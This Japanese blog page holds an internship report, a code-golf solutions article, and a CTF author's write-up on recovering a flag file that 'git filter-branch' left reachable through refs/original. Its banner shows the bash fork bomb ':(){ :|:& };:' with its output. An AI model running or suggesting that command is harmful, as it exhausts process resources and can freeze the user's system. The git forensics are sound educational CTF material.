$ :(){ :|:& };:

$ :(){ :|:& };:

:: fork failed: resource temporarily unavailable

はてなサマーインターン2020に参加しました

8/24 ~ 8/28 の1週間,はてなサマーインターン2020に参加参加させていただきました.人生初インターンです.

hatenacorp.jp

本年度のインターンは完全にオンラインで行われ,5日間のうち初日にオリエンテーション・講義,2日〜4日目で与えられた課題についての開発,5日目で発表というスケジュールでした.

全体を通して1人のメンターの方に対して2,3人のメンティーが割り当てられ,Discordに常駐していただいて問題解決やレビューをして下さる体制でした.

講義

Web API(特にgRPC), Docker, Kubernetes, Microserviceなどのトピックについて手を動かしつつ一通り勘所を把握できるような非常に充実した内容でした.特にk8s周辺の技術やMicroserviceについてはあまり扱った経験がなく大変勉強になりました.Dockerに関するCTF(下記ツイート参照)はなんとか時間内に解くことができました.

講義動画については後日一般に公開されるそうなので,(これを言い訳にしつつ現状時間が無いため)詳しい内容については今後追記します.

成果物

課題はKubernetesで動作するMicroserviceなWebアプリケーション(ブログサービス)の機能を拡張・改善するというものでした.ブログサービスの基礎となる部分は予め用意されており,実装はGolang,サービス間の通信はgRPCを用いて行われています.

課題の雛形は以下のリポジトリにて公開されています. github.com

必須課題としてブログの記事作成においてMarkdown記法を受け付けるための記法変換サービスを実装しました.また,与えられたURL先のページのtitleをフェッチするようなサービスを新たに追加し,記法変換サービスに手を加えてリンク記法(- [example](https://example.com))でタイトルの入力が省略された場合にこれを補完する機能を追加しました.

発展課題として独自記法の開発,追加したサービスのレスポンス・挙動の改善などを行いました.

発表資料は以下になります.

また,成果物のリポジトリは以下になります.

github.com

感想

非常に楽しく,また実りのある5日間でした.

大学に入学してから忙しさを理由にプログラミングを真面目にやらなくなってしまったため全く知識がアップデートできておらず,バックエンドに関して言えば参加前時点でのまとな開発経験がモノリシックなRailsアプリケーションをせいぜいDocker使ってPasSで動かす程度だったため,宛ら文明開化の如く現代的な開発手法を一挙に体系的に学び,フィードバッグをいただきつつ手を動かすことができたことは非常に大きな糧となりました.

Golangについてはインターン開始当初殆ど書いたことが無い状況だったためやや不安がありましたが,メンターの方々に仔細にレビューしていただけたりテストの実装パターンや非同期処理等についてアドバイスをいただけたため確信を持って実装を進めることができ,また大変勉強になりました.

情勢が落ち着いたら京都にお邪魔したいです.ありがとうございました.

2019年駒場祭ライブコードゴルフ(実用言語編)

これは TSG Advent Calendar 2019 の6日目の記事です.

昨日12/5は もらさんのCTF Zone Quals 2019 Writeup でした.


先日11/22-24に行われた駒場祭にて,私が所属しているサークルTSG(東京大学理論科学グループ)の企画「TSG LIVE! 4」の一つとしてライブコードゴルフ大会が行われ,私はその実況解説をやらせていただきました.

www.youtube.com

事前に実況解説側で各言語の模範解答的なものを作成したのですが時間の都合上放送内で紹介できなかったのでそれの供養もしつつ企画の紹介もできればなあと思いつつこの文章を書いています(現在(12/7)日付を勘違いして絶賛遅刻中).詳細は上のアーカイブを観て頂けると嬉しいです.

コードゴルフとは

コードゴルフとは端的に言えば要件を満たすプログラムをより短いbyte数で書けた方が勝ちという競技です.

今回の企画「ライブコードゴルフ」は,プログラミング言語とマスを対応せた盤面で2名 × 2チームがこのコードゴルフで陣取り合戦をするというもの.
プレイヤーは,各言語のマスについて相手の提出されたコード長さより短いコードで正解を得ることができたならばその言語のマスを獲得することができます.どちらのチームも取っていないマスであれば,その言語を用いて正解するだけでマスを得られます.ただし,プレイヤーが提出できるマスは初期マス / 自チームが獲得したマスに隣接しているマスのみです.
制限時間内に獲得できたマスの合計数をチーム間で競います.

gyazo.com

TSGでは過去にこのような形式のコードゴルフ大会をいくつか開催しており, その様子はここから見ることができます.

esolang.hakatashi.com

そして,今回の盤面はこちらになります.

f:id:taiyoslime:20191207182736p:plain

盤面の外周にはesolang(難解プログラミング言語)も存在します.これらについては後続のうらさん,くろむのりさんがしてくれるはずなので,本記事では主に真ん中に固まってる実用言語サイドの話をしていきます.

追記: n4o847.hatenablog.com

kuromunori.hatenablog.com

お題

2桁の整数が100個改行区切りで与えられるので,それぞれについて九九表に存在する数のとき1,そうでないとき0を出力せよ

詳しい問題文や制約は以下になります.

esolang.hakatashi.com

方針

コードを短くする上で本質となるものの一つにアルゴリズムの選択があります.特定のアルゴリズムが絶対的に優れているということは基本的には無く,言語の機能や特性に即したものを選ぶことが重要です.
ここでは事前準備で運営サイドが思いついたものを4つ紹介します.当日のプレイヤー側は方針も殆どが方針①,②に収まっていたと思います.

方針① 全列挙

1×1から9×9まで全部計算して与えられた入力がそのどれか1つと等しいかどうか見れば良いという一番愚直な方法です.

Rubyでゴルフせずに書くとこんな感じ.

100.times do |n|
    input = gets.to_i
    output = 0
    9.times do |i|
        9.times do |j|
            if (i + 1) * (j + 1) == input
                output = 1
            end
        end
    end
    puts output
end

2重ループがどうしても長くなってしまうため今回これが最短になる言語は恐らく無いように思えますが,例えばPerl6だと配列の直積 / ある要素が配列に含まれるかどうか 等が極めて短く書けるのでこの方針が恐らく最短です.

方針② 1~9で割った余りと商

九九にある数ならば,1~9で割った余りのうちどれかが0になる かつ それらについてその商が1~9の範囲に収まるはずです.これを利用すれば1つのループで書くことができます.

Rubyでゴルフせずに書くとこんな感じ.

100.times do |n|
    input = gets.to_i
    output = 0
    9.times do |i|
        if input % (i + 1) == 0 && input / (i + 1) <= 9
            output = 1
        end
    end
    puts output
end

シンプルな方針かつ多くの言語で①よりも短く書けるので,本番のプレイヤー側のコードもこれが多かったように思えます.

方針③ 符号化

今回の本命です.
今回のお題の入力パターンである10から99までの自然数はたかだか90個しかありません.そこで,この入力に対する出力の対応関係をある程度短い形式でコードに埋め込んでしまえば良いのではないかという発想をします.

そこで,整数Nが九九表に存在するかどうかの判定結果(0/1)をNbit目に持つような数を考えます.後々アクセスしやすいように0<=N<=99とすると次のような数(2進数表記)になります.

00000000000000000010
00000001000000011000
00010100001100100101
00011001010110110011
01011101010000000000

これを16進数表記に直すと

0x20101814325195b35d400

となり,この数をx,入力をnとすると,(x >> n) & 1 を出力すればお題を満たすプログラムになります.

ゴルフせずに書くとこんな感じ.

100.times do
    n = gets.to_i
    puts 0x20101814325195b35d400 >> n & 1
end

コードの本質部分が数字とbitを見る分だけで済むのでかなり強力なアルゴリズムです.符号化した数が64bitで表現できる範囲を超えてしまうので,多倍長整数がデフォルトで扱えない言語は(短く書くという点では)難しいかもしれません.

方針④ 最強の数式

要するに九九に存在する数と存在しない数で異なる出力をするような(コードとして書き下した時にそこそこ短い)数式を思いつけば良いという方針です

実は前回の5月祭のライブコードゴルフ(じゃんけんの手を表す0~2の整数を2つ受け取り勝敗を出力する)ではn%8%3<2という数式が最強で,今回も同じように式を作るという発想自体はありました.が,前回は入力パターンが6個(あいことなる入力は存在しないことが保証されていた)しかないのに対して今回は90パターンと数が大きく,流石に他の方針が強いんじゃないかと殆ど検討せずにいました.

この話を本番前日のリハーサル帰りの電車で数学つよつよ部員であるところのナンにしたところ,その夜に彼から突然数式が送られてきました.

99225%n*(60480%n)+n/60*(n&51)%17

2桁の自然数が九九に存在する時に0,存在しない時に1以上になります.
ラマヌジャンか?

彼の言葉を借りつつ解説をすると,

  • 基本的なアイデアは与えられた自然数nがある自然数集合Nに含まれるかの判定をNの全要素の最小公倍数をnが割り切るかどうかでするというもの
  • 99225%nは 九九に含まれる奇数の集合,60480%nは偶数の集合をそれぞれ判別しており,どちらかの値がnで割り切れるなら99225%n*(60480%n)は0になり,そうでないなら1以上となる.
  • {60, 70, 75, 80, 84, 90, 96}が例外として九九にしないにも関わらず割り切れてしまう.
  • これらの数は全て60以上なので,60以上で九九表に存在する{63, 64, 72, 81}とそれ以外を判別できないかを考える.徐にnを51とbitwise andをとって17で割った余りを見ると前者は0,後者は1以上になる.
  • これを後ろに連結させて99225%n*(60480%n)+n/60*(n&51)%17となる.

実際のコード(実用言語編)

以下各言語ごと実況解説側が事前準備で用意していたコードです

Ruby

44byte

$<.map{|e|p 0x20101814325195b35d400[e.to_i]}

方針③です.Integer#[]でnビット目がとれるので更に短くなります.えらい.自信作です.
36進数にすると符号化した数自体のbyte数は減るんですがprefixがないので結局"".to_s(36)分が嵩んでしまうため結局これが最短になりました.
また,0~99までではなく10~99,9~99までで符号化するという方針も考えられますが,結果的に同じ44byteなりました.

$<.map{|e|p 0x80406050c94656cd75[e.to_i-10]}
$<.map{|e|p 0x10080c0a1928cad9aea[e.to_i-9]}

ちなみに方針②でもEnumerable#all?等を使ってまあまあ短くなります

55byte

$<.map{|n|p (1..9).all?{|i|n.to_i%i>0||n.to_i/i>9}?0:1}

これは余談ですが,本年度中にリリースされる予定のRuby 2.7の機能であるNumbered Parameterを使うと更に2byte短く書けます(42byte)

$<.map{p 0x20101814325195b35d400[_1.to_i]}

C(gcc)

78byte

i;main(n,s){for(;i||~scanf("%d",&n,s=48,i=9);i||putchar(s))s|=!(n%i|n/i-->9);}

方針②です.あんまり短くならずに悩んでいたらsatosさんが颯爽と現れて数byte縮めてくれたのでそのコードを紹介させていただきます.
宣言で型を省略した場合はint型となる,int型の関数で返り値を省略した場合は0を返すので最後のreturn 0;は不要,mainの引数で変数宣言すると短くなる,gccはデフォルトでlibcとリンクしてくれるので出力のための"""おまじない"""(#include <stdio.h>)は不要等のおなじみののテクを使ってかなり殺風景になっています.

n%i|n/i>9はnが九九表に存在するとき0, それ以外のとき1になり,C言語では0はfalsy / 0以外はtruthyなのでnotを取ることでそれぞれtrue, falseとなります.
この結果をiが1~9までについてsとbitwise orを取ってあげるとtrueは1,falseは0として評価されるため,一つでも!(n%i|n/i>9) がtrueのときsの下位1bitは1になります.asciiコードで"0"は48(下位1bitは0), "1"は49(下位1bitは1)なので,それぞれお題を満たすようなの値が出力されるという仕組みになっています.
i||~scanf("%d",&n,s=48,i=9), i||putchar(s)は短絡評価がうまく使われていて,左のiの評価がfalseの時は右のscanfとputcharが評価されることを利用してi==0,つまり割り算のループが終了したときにこれらが実行されるようになっています.

ところで下は方針④をそのままcに移植してきたものも方針②と同着の78byteになりました.見た目がかなりいかつい.

main(n){for(;~scanf("%d",&n);)puts(99225%n*(60480%n)+n/60*(n&51)%17?"0":"1");}

Perl

54byte

print(99225%$_*(60480%$_)+($_>59)*($_&51)%17?0:1)for<>

golfの王様言語です.入力<>を後置forで回し$_で取っています.perlの割り算はfloatを返してくるので式を少し変形して$_>59としています
どう考えても方針②でこの方針④より短く書ける気しかしないがPerl力も無いし準備時間がねえ〜〜〜これで許してくれ〜〜〜〜〜〜といいながら書いたコードです.

後日駒場プレイヤーのうら氏が39byteで書けたと仰っていたたので,明日の(僕が遅刻してるので今日なんですが(すみません))記事で多分紹介してくれる気がします.

追記: 紹介してくれました n4o847.hatenablog.com

Node.js

109byte

(""+require("fs").readFileSync(0)).split(`
`,100).map(e=>{for(a=i=1;i++<9;)a&=e%i>0||e/i>9;console.log(+!a)})

方針②です
readFileSyncの第一引数はファイルディスクリプタなので0(標準入力)とし,普通は第2引数にエンコーディング方式を渡すんですが,何も渡さないとインスタンスが帰ってきちゃうので雑に空文字と結合して文字列を得ます.JSゴルフ必須テク.
"1\n".split(/\n/) => [ '1', '' ] なので split の第2引数で要素数を100に制限しています.その他はcとあまり大枠は変わらない気がします.aは全てのiについてe%i>0||e/i>9,即ち九九表に存在しないならば1,それ以外は0となるなるので出力時に!+aと反転させています.全体的に非本質が長いので悲しい.

Python

54byte

while 1:print(0x20101814325195b35d400>>int(input())&1)

大正義方針③です.
Pythonは最大の特徴と言っても過言ではないインデントでブロックを表す必要があるという制約は勿論,制御構造を用いるには改行が必要でインデントと合わせてbyte数が嵩んだり代入が文なので値を返してくれなかったり等golf的には大変厄介なんですが,かなりすっきりと書くことができました.
whileで無限ループになっていますがinputは入力が枯れるとEOFで例外を吐いて異常終了してくれるのでこれを利用します.

一応参考程度に方針②で雑に書いてみたものがこちらになります.84byte.長い.

while 1:
 n=int(input());i=9
 while n%i or n/i>9 or print(1) if i else print(0):i-=1

これは終わってから気付いんたんですがリスト内包表記とinがえらくて現状の方針②よりも①の方が短くなります.盲点.

a=range(1,10)
while 1:print(int(int(input())in[i*j for i in a for j in a]))

余談ですが,2ヶ月ぐらい前にリリースされたPython3.8.0ではセイウチ演算子というゴルフ的にも大変うれしい代入式が追加されました. https://www.python.org/dev/peps/pep-0572/

まとめ

ゴルフ初心者なので多分まだまだ短くなる気がします.こっちのほうが短いぞ〜〜みたいなのあったらぜひぜひコメントとか引用とかで教えて頂けると楽しいです.

明日(今日)はうらさんで「TSG LIVE! 4 ライブコードゴルフ大会 writeup + 解き直し ( Perl, sed, Haskell )」です

TSG CTF Obliterated File 作問者Writeup

以下は修正後の Obliterated File Again について述べています. 非想定解と修正(Obliterated File Again)について

問題文

Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?

TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?

$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all
$ git reflog expire --expire=now --all
$ git gc --aggressive --prune=now

problem.zip

概要

  • 答えとなるflagファイルは一度commitされmasterから辿ることができるようになっていたが,問題文よりfilter-branchで全てのコミットについてgit rm -f --ignore-unmatch *flag が適用されているため,flagファイルのblobはmasterのheadからは辿ることはできない*. 参考: .4 Git のさまざまなツール - 歴史の書き換え
  • reflogを消去した上でgit gcを実行しているため,一見してflagファイルへの参照は無くなりgcでflagのblobは消去されたように思える.
  • しかしgitはfliter-branch実行時にrefs/heads/masterのcommit/tree/blob objectを単に上書きしたり消去したりするのでは無く,全て新たに作成し直しこれらにrefs/heads/master が向くようにしている.そして,元のHEADは refs/original/*以下に保存している.
  • 故にflagのblob objectはrefs/heads/masterからの参照はないものの,refs/original/refs/heads/masterからの参照が存在するためgit gc --aggressive --prune=nowをしても消去されない.
  • よって,git filter-branchで消去されたflagのファイルはrefs/original/refs/heads/masterから辿ることが可能である.(想定解法1)
  • 上記の挙動を知らなくても,git rev-listを用いたり,git gcでpackされたgit objectsからgit unpack-objects等でflagのblob objectを特定する等すればこの問題を解くことが出来ると推測出来る.(想定解法2,3)
  • FLAG(TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master})の通り,git update-ref -d refs/original/refs/heads/master をするとflagのblobへの全ての参照が消えるためgit gcで除去することがきる.
$ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8
x��A
��AP����TJ��i�݋V�7�C7�w���������N)�b7�/z�Xe��  �&��hB6k*�a1k
                                                             ] �a����
                                                                     ��%{%

$ git update-ref -d refs/original/refs/heads/master

$ git gc --aggressive --prune=now
Counting objects: 99, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (90/90), done.
Writing objects: 100% (99/99), done.
Total 99 (delta 38), reused 53 (delta 0)

$ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8
fatal: Not a valid object name c1e375244c834c08d537d564e2763a7b92d5f9a8

想定解法

1

filter-branch 実行時に生成された refs/original/refs/heads/master からcommitとtreeオブジェクトを順に辿っていく

git log は以下の通り

$ git log
commit 13ca1969e42f07352374da0338b1e9ddd406c623 (HEAD, master)
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 21:01:11 2019 +0900

    delete .travis.yml

commit e6910d795c77de966da4b4da299f44e359cbd791
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 21:00:53 2019 +0900

    fix the way of posessing the flag

commit 7b20d43eee6cb7f06d553bdf32696f35740c995f
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 20:58:25 2019 +0900

    fix .gitignore

commit 072690c0aaf46bc7875b67d6323b8f8d2074aaca
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 20:56:51 2019 +0900

    enable production mode

commit 164349386f4522b1cdee775e63761d57eacbf66a
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 20:56:02 2019 +0900

    small fix && add readme

commit c4b2408b3646bb0d2d05b639b4d99b009815c97e
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 20:54:43 2019 +0900

    add problem statement

commit 1132b19fe615106585d0a4d73a1d2caebf213b1c
Author: tsgctf <info@tsg.ne.jp>
Date:   Sat May 4 20:52:29 2019 +0900

    made solvable
(snip)
$ ls .git
COMMIT_EDITMSG ORIG_HEAD      description    index          logs           packed-refs
HEAD           config         hooks          info           objects        refs

$ cat .git/packed-refs
# pack-refs with: peeled fully-peeled sorted
072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master

$ git cat-file -p 1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8
tree d0ca60424dc0174f1e3eb142a508a205e0df8df7
parent 353d6ab1d16539043e9bef6743db1f7bc6a02391
author tsgctf <info@tsg.ne.jp> 1556971011 +0900
committer tsgctf <info@tsg.ne.jp> 1556971011 +0900

enable production mode

git filter-branchenable production modeの時点で行われたことが分かる.

$ git cat-file -p d0ca60424dc0174f1e3eb142a508a205e0df8df7
100644 blob 163eb75c85257e212368c0694a2947ebcd4c9bcc    .editorconfig
100644 blob ffc7b6ac56d181e10a191d2c4115aa8d83aec847    .travis.yml
100644 blob 6eec6e57cc9eb5aa67f09fb73bdb3b933d7fdded    README.md
040000 tree d5fe4dc31680a0c12730b4599ecccb369b6a0a14    problem

$ git cat-file -p d5fe4dc31680a0c12730b4599ecccb369b6a0a14
100644 blob 94ae2db65e3dc2365cdc8136dececdbc35374adc    .gitignore
100644 blob dd46f3189d012d72738a6aa20358581d71945bca    README.md
100644 blob c1e375244c834c08d537d564e2763a7b92d5f9a8    flag
100644 blob 02d365359d84a5d4f4317fa3549fe073a024c502    main.cr
100644 blob a56e0143927a72fee0c6f00618442def5cd60fac    shard.lock
100644 blob d3a384c81e3e530ad97719e80b8223ed7754a4a2    shard.yml
040000 tree 69c2b0afdb2a14797f43e4424dc06cc6202bea1f    src

以上を $ git checkout 1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8git checkout refs/original/refs/heads/master としても良い

$ git cat-file -p c1e375244c834c08d537d564e2763a7b92d5f9a8 > flag

$ file flag
flag: zlib compressed data
# これはmain.crを見ても分かる

$ pry
[1] pry(main)> require "zlib"
=> true
[2] pry(main)> file = File.binread "flag"
=> "x\x9C\v\tvw\x0Eq\xABV\x89O\xCF,\x89/-HI,I\xD5-JM\x8B\xD7M\x89\aR\xC5\xFA\xF9E\x99\xE9\x99y\x899\xFA`^FjbJ\xB1~nbqIjQ-\x00\x85\xEB\x16("
[3] pry(main)> inz = Zlib::Inflate.new
=> #<Zlib::Inflate:0x007fbf28073070 @dictionaries={}>
[4] pry(main)> flag = inz.inflate file
=> "TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}"

2

git rev-listを使う

git rev-list master ならばmasterのHEADから辿れるcommit objectを列挙
git rev-list --all で全てのcommit objectを列挙
git rev-list --objects -all で全てのgit objectを列挙

$ git rev-list --objects --all
13ca1969e42f07352374da0338b1e9ddd406c623
e6910d795c77de966da4b4da299f44e359cbd791
7b20d43eee6cb7f06d553bdf32696f35740c995f
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8
072690c0aaf46bc7875b67d6323b8f8d2074aaca
353d6ab1d16539043e9bef6743db1f7bc6a02391
164349386f4522b1cdee775e63761d57eacbf66a
78036f3e858975d2c574d81ba6c3a6f57573314a
c4b2408b3646bb0d2d05b639b4d99b009815c97e
afafedc82152dd8f38497ae1b17bedd7b647e062
1132b19fe615106585d0a4d73a1d2caebf213b1c
8316c40ce4f952bd9a10bf53921eb1039820d403
6b4cbce5f389a45bc849f07fa5c17a8b7f43f005
bff308624444eed4cac43b0d432a92d2d350fcfb
f4416accd32d3063630d243770ff6d1ba79ac209
b346b76e3642b0b33f5b17a19761b8d77276473b
b614e74c0d6db7c50c64a6f643c08e768308295c
828b54e76c9ee94b1d9a478aef792726c60a01bc
0f0a48cede1c8edb37b9449b7de0eb28402db1fc
166baf8b5abaf404923426c08199e7396628e759
4801d6ec013679a4cd8353812fa9502418ba6237
d3953a7e9d5e89a07f767851721c09b543fe1a9b
5d04bb5c39d8821c57d6e109088caefbdfd9660b
163eb75c85257e212368c0694a2947ebcd4c9bcc .editorconfig
6eec6e57cc9eb5aa67f09fb73bdb3b933d7fdded README.md
fae323e2976c63f9aab36283ded3a205b02cd8da problem
4e48cb9537172cfcf4174c999ee409ca70139c3d problem/.gitignore
dd46f3189d012d72738a6aa20358581d71945bca problem/README.md
8e497982ba717ee0fe21acd4d6a1beb74be0f90f problem/main.cr
a56e0143927a72fee0c6f00618442def5cd60fac problem/shard.lock
d3a384c81e3e530ad97719e80b8223ed7754a4a2 problem/shard.yml
69c2b0afdb2a14797f43e4424dc06cc6202bea1f problem/src
77248329a5e663f2ac278c095f113d27b4e8f8be problem/src/app.cr
d756753ddde35b336989129b46062c22e97d0e38 problem/src/public
d564d0bc3dd917926892c55e3706cc116d5b165e problem/src/public/css
e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 problem/src/public/css/.gitkeep
43988cd07d60aa41f61e6e2421156068b3f8632b problem/src/views
567458274957b016d5016532662137022b650439 problem/src/views/index.ecr
956542f28d8010bc0ceec6ae9dfdb84e49fa2d2b problem/src/views/layout.ecr
d0750a2659e0c89c3e61a2c6d8573c52adafe860 problem/src/views/login.ecr
a0f3b51d97779b176407ff04686cdc6105851799 problem/src/views/register.ecr
8716dd0de5702371cc61c4627865bcaf16ddb448
ffc7b6ac56d181e10a191d2c4115aa8d83aec847 .travis.yml
4e342ba6d191971197bb40023855b53a0155060b
50935b0c64743459d3ffdfabb31229af867b949e problem
02d365359d84a5d4f4317fa3549fe073a024c502 problem/main.cr
d0ca60424dc0174f1e3eb142a508a205e0df8df7
d5fe4dc31680a0c12730b4599ecccb369b6a0a14 problem
94ae2db65e3dc2365cdc8136dececdbc35374adc problem/.gitignore
c1e375244c834c08d537d564e2763a7b92d5f9a8 problem/flag
7edb96cb41cbfea869dabc7de625a5e50abd71ea
37a62992ec0d4c83df1d6952933c0afaa135d6a8 problem
27b5ce64362f03ef9a7f044e677fba81ab47544b
1f34928d090b69867f664dcbef276d53a29483cc problem
ebc4754f23719c17eedf24af0187be86b52e71d2 problem/main.cr
157d2e555e663ffb6e203a4ecc62a9e599e259ab
6361c720b6a55eb93f42cd57a48cc27805442a53 problem
7459ce4ad03f11e4f9aae544274766edd675fe11
2aea982ed4eb63a835ce71322379720fb45e3a7a problem
34b46ad3604df653c93fcede1b7e2c546a748032 problem/src
2c6881340dd54ea0fbc6013da69701adf77cd80f problem/src/views
798fae498457783788a70719f5176d7542c10e72 problem/src/views/layout.ecr
bfa5390abc0810070a1983a6ff8982bcc2a6a196
5e1b13226968864981f768dd68bb3a5141f10b26 problem
ff591ccbfb2cf72a371008a82f4210209797584f
60723b12e68c53e802729604a16931e74f000e81 README.md
484d7614db417d10ab3116c9ce11d03b6d380f14
67960090c674d6d824da50dfd45d8f12d83786e6
fa7b6981166dcad181464007968ddf2c44b88973 .gitignore
00ba81bd54c79a5e712435ee9ecd2b2d8585917c main.cr
23c5b636f8501a098860f40e56b2beb29d5fa410 src
a416178f93b9276bfcfd300dc196e1952e717331 src/app.cr
cd7068e30ead3aa205f7bc8c73e1caa8854221a3
da64e5cf3af628fed6a351de35fbca1f39a61b84 src
62062f1afde0d9ae9b4d91781780dd615c6448f9 src/app.cr
e79b903e56ed961fd3c0076682976d045f7cec52
6754b81daa8414ea07475e5350f2d54c7523b989 src
abf4339ce17591e3712d2dc375864493c82d207b src/app.cr
e78e4553e8c4e68a733f67ba8abaed1db3bb95e0
56fced572a5abc13cf60a8a49a19d5af87f61d87 src
501072473b04d8d2eaf05d13cc71fa2568ec3d6c src/app.cr
97fe1a6ab46a57cfa8043a17395b2501332c2436
0bb75ea03f73a8764f724a990b6145f0b929c3f8 .gitignore
a2cdcc183cceecbc5a0f8532245e608b90c6340f main.cr
79e09050a3fab6a7c8002ddecd9ba97e1ba6e01f shard.lock
2d412b10aefe0f80e26536c8ec1a58d4b30df1bf shard.yml
5c6f3673d687b416b32cd6d1d49d85da60c66950 src
e9441ab4fc0a169d8482e76da4b9f55a6caa5823 src/app.cr
76d6409dbcb16c8282b966f2c0491c02364fcf7b src/views
36659906848b844b0ac530a4efd3dc646fd3f7b2 src/views/index.ecr
8a5cd16517aacf3b150620f6c5347d8e27ef47dc src/views/layout.ecr
7ddff67ab554b53d00d00ae91a3b4c36578b37f0
c29410cbe0e08299c0f0ee8085642bd24a838485 main.cr
0dc0e23010600ab04db1cfef617b35cb9a808668
9f88382a6895bd951d953155960c0ed5a8612303 main.cr
4b1026ccafd4c79a70a10b46c5531fc331e92b6a
0d84bf0607785e59be1448379961ec8064b4d92e main.cr
d630e501eea771f59769592170cdc0bf2d741ae6 shard.lock
89db2e6e905c3036b53672b3c3bc9fad472fa368 shard.yml
ff42cc4a1974e58b02772f401321ba3f57846e38 views
fa17d60b89e69d855a7c01363435995b4dd67def views/index.ecr
91a3b5d486e8cce94c981e459db47a2fa4497e1b
2ff872c5b6173fdb325f89c90b251daebf91092c README.md
18799361bcac695368b53df8847b57ba34967a50 main.cr
51422bc8c729b297e89be5028b080d37f5fa71e8 views
a5f2f7907b07430751f2707bf7d12d5cd9bd7be2 views/index.ecr
a63dcfb386a4b30e3a1d85641cfb1aae8ecbbb5c
72e3d57df672e811ef56d4fa993a71da33a1de91 main.cr
207cef168362ac985a373f49fdbcf1d29035b6fb
f87f5c14cbbd7d462ab7c5ed4f7b4b822d3254a4 main.cr
0b02e2f465e326a2fb4327a1ed2a64ed95084ee6 shard.yml

$ git rev-list --objects --all | grep flag
c1e375244c834c08d537d564e2763a7b92d5f9a8 problem/flag

後は1と同じ

3

gcで生成されたidxファイルからblobファイルを見ていく / git unpack-objects等を使う

とりあえずpackの中にあるだろうということからゴリ押しで解くことも出来る.

$ tree .git/objects
.git/objects
├── 13
│   └── ca1969e42f07352374da0338b1e9ddd406c623
├── 4e
│   ├── 342ba6d191971197bb40023855b53a0155060b
│   └── 48cb9537172cfcf4174c999ee409ca70139c3d
├── 50
│   └── 935b0c64743459d3ffdfabb31229af867b949e
├── 5d
│   └── 04bb5c39d8821c57d6e109088caefbdfd9660b
├── 7b
│   └── 20d43eee6cb7f06d553bdf32696f35740c995f
├── 87
│   └── 16dd0de5702371cc61c4627865bcaf16ddb448
├── 8e
│   └── 497982ba717ee0fe21acd4d6a1beb74be0f90f
├── e6
│   └── 910d795c77de966da4b4da299f44e359cbd791
├── fa
│   └── e323e2976c63f9aab36283ded3a205b02cd8da
├── info
│   └── packs
└── pack
    ├── pack-b799d65ebb2cc3fab7878fcf2a2642585de29408.idx
    └── pack-b799d65ebb2cc3fab7878fcf2a2642585de29408.pack

11 directories, 13 files

# filter-branch後に数コミットしているのでpackされてないオブジェクトもある

$ git verify-pack -v .git/objects/pack/pack-b799d65ebb2cc3fab7878fcf2a2642585de29408.idx
072690c0aaf46bc7875b67d6323b8f8d2074aaca commit 217 152 12
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 commit 217 151 164
164349386f4522b1cdee775e63761d57eacbf66a commit 218 156 315
353d6ab1d16539043e9bef6743db1f7bc6a02391 commit 218 156 471
c4b2408b3646bb0d2d05b639b4d99b009815c97e commit 216 151 627
78036f3e858975d2c574d81ba6c3a6f57573314a commit 216 151 778
1132b19fe615106585d0a4d73a1d2caebf213b1c commit 208 147 929
afafedc82152dd8f38497ae1b17bedd7b647e062 commit 53 65 1076 1 1132b19fe615106585d0a4d73a1d2caebf213b1c
8316c40ce4f952bd9a10bf53921eb1039820d403 commit 205 146 1141
6b4cbce5f389a45bc849f07fa5c17a8b7f43f005 commit 205 146 1287
bff308624444eed4cac43b0d432a92d2d350fcfb commit 232 163 1433
f4416accd32d3063630d243770ff6d1ba79ac209 commit 239 170 1596
b346b76e3642b0b33f5b17a19761b8d77276473b commit 224 159 1766
b614e74c0d6db7c50c64a6f643c08e768308295c commit 216 155 1925
828b54e76c9ee94b1d9a478aef792726c60a01bc commit 225 162 2080
0f0a48cede1c8edb37b9449b7de0eb28402db1fc commit 212 155 2242
166baf8b5abaf404923426c08199e7396628e759 commit 204 146 2397
4801d6ec013679a4cd8353812fa9502418ba6237 commit 216 153 2543
d3953a7e9d5e89a07f767851721c09b543fe1a9b commit 161 117 2696
163eb75c85257e212368c0694a2947ebcd4c9bcc blob   150 118 2813
ffc7b6ac56d181e10a191d2c4115aa8d83aec847 blob   18 28 2931
6eec6e57cc9eb5aa67f09fb73bdb3b933d7fdded blob   64 74 2959
94ae2db65e3dc2365cdc8136dececdbc35374adc blob   46 49 3033
dd46f3189d012d72738a6aa20358581d71945bca blob   134 100 3082
02d365359d84a5d4f4317fa3549fe073a024c502 blob   458 303 3182
a56e0143927a72fee0c6f00618442def5cd60fac blob   507 226 3485
d3a384c81e3e530ad97719e80b8223ed7754a4a2 blob   297 178 3711
77248329a5e663f2ac278c095f113d27b4e8f8be blob   2136 632 3889
e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 blob   0 9 4521
567458274957b016d5016532662137022b650439 blob   288 156 4530
956542f28d8010bc0ceec6ae9dfdb84e49fa2d2b blob   111 85 4686
36659906848b844b0ac530a4efd3dc646fd3f7b2 blob   355 161 4771
d0750a2659e0c89c3e61a2c6d8573c52adafe860 blob   36 47 4932 1 36659906848b844b0ac530a4efd3dc646fd3f7b2
a0f3b51d97779b176407ff04686cdc6105851799 blob   161 106 4979
7edb96cb41cbfea869dabc7de625a5e50abd71ea tree   151 154 5085
